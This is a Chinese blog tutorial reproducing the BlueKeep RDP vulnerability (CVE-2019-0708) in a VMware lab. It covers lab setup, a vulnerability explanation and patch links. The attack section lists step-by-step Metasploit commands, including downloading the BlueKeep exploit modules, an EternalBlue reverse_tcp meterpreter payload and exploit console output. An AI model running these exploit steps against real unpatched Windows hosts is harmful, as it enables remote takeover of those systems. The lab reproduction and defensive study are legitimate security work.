CVE20190708复现
一、实验环境
基于虚拟机运行(VMware)
(1)靶机(ip:192.168.8.*):
(2)测试机(192.168.8.#):
(3)将两个虚拟机设置于同一个网段中
a.在虚拟网络编辑器中,将VMnet0采用桥接模式,并桥接到网线网上
b.设置win7为动态获取ip
c.打开/etc/network/interfaces文件,做如下修改,并保存,重启kali
eth0接口会在系统启动时被自动配置,以DHCP方式配置网卡.
d.两台主机互ping
win7
kali
互ping测试(关掉防火墙)
测试可以ping通,现在测试机和靶机在同一网段了。
(3)将靶机的相应端口打开
在防火墙中更改入站设置,同时关闭防火墙,打开3389端口
观察可知,3389端口已打开
二、攻击准备(kali中操作)
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。
进入框架:msfconsole
使用search命令查找相关漏洞: search ms17-010
使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息: info
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数:show options
设置参数:set RHOST 192.168.125.138
攻击:exploit / run
(1)更新kali msf
apt-get update
apt-get install metasploit-framework
(2)下载利用脚本
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
(3)移动到对应的目录
mv rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
mv rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
mv cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
mv cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
将我需要利用的漏洞载入相关的攻击模块中
(注意:/usr/share/metasploit-framework/modules/exploits/windows/下面不一定存在rdp目录,不存在时手动创建)
(4)开始攻击
msfconsole --进入msf
reload_all --重新载入所有的模块
search cve_2019_0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.8.*** --设置靶机ip
set target 3 --3代表目标机器架构为VMware、2代表目标架构是virtulbox
exploit --开始攻击
Kali中的执行过程
root@debian:~# msfconsole
[-] ***rting the Metasploit Framework console...|
[-] * WARNING: No database support: No database YAML file
[-] ***=[ metasploit v5.0.53-dev ]
+ -- --=[ 1931 exploits - 1079 auxiliary - 331 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]msf5 > reload_all
[*] Reloading modules from all module paths...=[ metasploit v5.0.53-dev ]
+ -- --=[ 1931 exploits - 1079 auxiliary - 331 post ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]msf5 > search cve_2019_0708Matching Modules
================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check1 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Freemsf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce (使用漏洞)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.8.* (设置靶机的ip)
rhosts => 192.168.8.*
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 3
target => 3 (在VMware上攻击)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit[*] Started reverse TCP handler on 192.168.8.#:4444 4444开始反向TCP处理程序
[*] 192.168.8.*:3389 - Detected RDP on 192.168.8.*:3389 ## 在192.168.8.*:3389上检测到RDP (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.8.*:3389 - The target is vulnerable.(可以攻击)
[*] 192.168.8.*:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028600000, Channel count 1.
[*] 192.168.8.*:3389 - Surfing channels ...
[*] 192.168.8.*:3389 - Lobbing eggs ...
[*] 192.168.8.*:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.
攻击效果:
三、原理分析
1.漏洞原理
远程桌面协议(RDP)支持客户端和服务器之间的连接,并且以虚拟信道的形式定义了它们之间通信的数据。虚拟信道是双向数据管道,可以针对RDP实现扩展。 Windows Server 2000使用RDP 5.1定义了32个静态虚拟信道(Static Virtual Channel, SVC),由于信道数量的限制,进一步定义了动态虚拟信道(Dynamic Virtual Channel, DVC),这些信道包含在专用SVC中。 SVC在会话开始时创建并保持到会话终止,而DVC将会根据是否需要确定是否创建和抛弃。
a.如下图所示: RDP连接序列在信道安全属性设置之前就进行了连接和设置,这为CVE-2019-0708的创建和传播提供了条件。
如上图所示,RDP Security Commencement在Channel Connection之后
b.漏洞流量分析: “MS_T120”这个SVC名称在RDP协议的GCC Conference初始化序列时被绑定为数字31的参考信道。此信道名称由Microsoft内部使用,在客户端没有明显的、合法的使用以“MS_T120”命名的SVC来发起请求进行连接的用例,然而,在GCC Conference初始化期间,攻击者可以在31之外的信道上设置另一个名为”MS_T120”的SVC,这种行为将会导致堆内存破坏,最终可以实现远程代码执行。
详细原理可参考一个大佬写的原理:
https://www.codercto.com/a/83475.html
2.漏洞修补
目前受影响Windows版本
Microsoft Windows XP Microsoft Windows Server 2008 R2 for x64-based Systems SP1Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1Microsoft Windows Server 2008 for x64-based Systems SP2Microsoft Windows Server 2008 for Itanium-based Systems SP2Microsoft Windows Server 2008 for 32-bit Systems SP2Microsoft Windows Server 2003 Microsoft Windows 7 for x64-based Systems SP1Microsoft Windows 7 for 32-bit Systems SP1
解决方案
修复建议:
(1)及时安装微软发布的安全更新补丁:
Microsoft官方已经在 2019年5月14日修复了该漏洞,用户可以通过安装微软的安全更新来给系统打上安全补丁,下载地址为:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
同时针对已不受微软更新支持的系统Windows Server 2003和Windows XP提供的安全更新,下载地址:https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708
实验体会:在实验复现的环节你可能会遇到各种的无解问题,在此过程中需要你一步步的耐心摸索,我也是加了很多个班才搞出来的,在实验中,切记要连在同一个网段内,注意攻击模块的更新,以及VM的版本。只要坚持,搞出来是不成问题的!
CVE20190708复现相关推荐
- [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及防御详解
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- CVE-2019-0708复现
漏洞描述 微软官方紧急发布安全补丁,修复了一个Windows远程桌面服务的远程代码执行漏洞(CVE-2019-0708),该漏洞影响了某些旧版本的Windows系统.该漏洞为预身份验证,无需用户交互. ...
- [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- 那些年我在CSDN追过的安全白帽师傅,respect
2019年7月,我来到了一个陌生的专业--网络空间安全专业.作为一个长期以Python数据挖掘和NLP方向为主的学生,突然换大方向,去从事系统安全和逆向分析的研究,还是挺难的,这两年的过程也极其艰辛. ...
- [系统安全] 四十六.Powershell恶意代码检测系列 (1)Powershell基础入门及管道和变量的用法
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- [系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- [系统安全] 四十四.APT系列(9)Metasploit技术之基础用法万字详解及防御机理
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- [系统安全] 四十一.APT系列(6)Python解析PE文件并获取时间戳判断来源区域
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
- [系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...
最新文章
- 多组测试数据求最大值
- iOS学习之CoreLocation相关知识
- think-in-java(9)接口
- 计算机网络之数据链路层:5、停止等待协议
- 小白必看!Django 模板语言基础来啦
- python计算快递运费价格表_python实现快递价格查询系统
- Adversarial Generation of Continuous Images 阅读笔记
- 充分使用腾讯云服务器搭建自己的网站
- 集线器(HUB)、交换机(Switch)、路由器(Router)
- xiunobbs回帖时间排序修改
- linux iptables源ip替换,Linux更改源IP地址的传入流量
- 回忆童年游戏之棋盘决奕
- SQL84 实习广场投递简历分析(一)
- 二维数组所有元素初始化为0
- 高数 | 旋转体体积的一般公式
- 苹果手机怎么把游戏隐藏在计算机,苹果手机隐藏了游戏怎么找出来
- CTF牛刀小实——聪明的小羊
- 不可忽视的 C 语言陷阱!
- IE无法打开的原因及解决办法
- ACM比赛经验、刷题记录及模板库总结(更新中)
热门文章
- 云原生IDE:iVX首个通用且强大无代码开发平台
- 安卓和IOS时间解析时间格式不一致的问题
- 【避免进程死锁】银行家算法
- 英特尔奔腾芯片漏洞_什么是奔腾(英特尔)?
- 计算机中汉字的顺序用什么牌,中国汉字的写做顺序,你知道吗?
- 【教学类-07-04】20221113《破译电话号码-加减法版+自制(PDF打印)》(大班主题《我要上小学》)
- JavaScript中的模块化之AMD和CMD
- mysql 复制 1032_mysql slave复制1032错误解决方法
- java中strictfp么意思_java中的strictfp的作用
- 使用微信小程序做一个简易的下拉框,无动画效果,纯原生写法(下拉列表框)